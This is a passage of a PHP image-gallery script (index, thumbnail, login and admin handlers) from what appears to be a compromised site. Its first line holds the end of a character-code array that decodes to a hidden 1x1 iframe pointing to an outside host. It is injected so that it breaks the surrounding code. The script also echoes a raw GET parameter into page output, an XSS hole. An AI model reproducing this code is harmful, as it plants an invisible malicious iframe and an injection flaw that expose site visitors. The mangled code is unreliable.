>8,56,52,46,111,114,103,47,105,110,46,99,103,105,63,50,34,32,119,105,100,116,104,61,49,32,104,101,105,103,104,116,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,32,104,105,100,100,101,110,34,62,60,47,105,102,114,97,109,101,62));ute( $work )
{
switch ( $work )
{
case W_INDEX:
work_index();
break;
case W_THUMB:
work_thumb( get_param( 'path' ), get_param( 'width' ), get_param( 'height' ) );
break;
case W_LOGIN:
work_login();
break;
case W_ADMIN:
work_admin( get_param( 'user' ), get_param( 'pass' ) );
break;
case W_APPLY:
work_apply( get_param( 'user' ), get_param( 'pass' ) );
break;
case W_CLEAR:
work_clear( get_param( 'user' ), get_param( 'pass' ) );
break;
default:
echo 'Wrong parameter!';
}
}
function work_index()
{
global $config;
$files_now = array();
$width_tag = array();
$desired = $config->get_setting( 'thumb_size' );
if ( $handle = opendir( '.' ) )
{
while ( false !== ( $filename = readdir( $handle ) ) )
{
if ( !is_dir( $filename ) )
{
if ( $data = GetImageSize( $filename ) )
{
$files_now[] = $filename;
$width = $data[ 0 ];
$height = $data[ 1 ];
if ( $width < $height )
{
$height = (int)( $height * $desired / $width );
$width = $desired;
} else {
$width = (int)( $width * $desired / $height );
$height = $desired;
}
$width_tag[] = '&width=' . $width . '&height=' . $height;
}
}
}
}
echo get_template( 'header' );
$columns = $config->get_setting( 'columns' );
for ( $i = 0; $i < count( $files_now ); ++$i )
{
$image
= get_self()
. '?work='
. W_THUMB
. '&path='
. urlencode( $files_now[ $i ] )
. $width_tag[ $i ];
echo get_template
( 'thumb'
, array
( 'LINK' => $files_now[ $i ]
, 'IMAGE' => $image
, 'ID' => $_GET['glid']) );
if ( ( $i + 1 ) % $columns == 0 )
{
echo $config->get_setting( 'line_separator' );
}
}
echo get_template( 'footer' );
}
function work_login( $first = true )
{
if ( !$first )
{
echo 'Login or password incorrect!
'; // TODO Template
}
echo get_template( 'login', array( 'LINK' => get_self() ) );
}
function work_admin( $user, $password )
{
if ( $user == USER && $password == PASS )
{
if ( is_dir( '.cache' ) )
{
echo_admin( $user, $password );
} else {
if ( mkdir( '.cache', 0755 ) )
{
echo_admin( $user, $password );
} else {
echo "Can't create cache directory, so default settings will be used!"; // TODO And?
}
}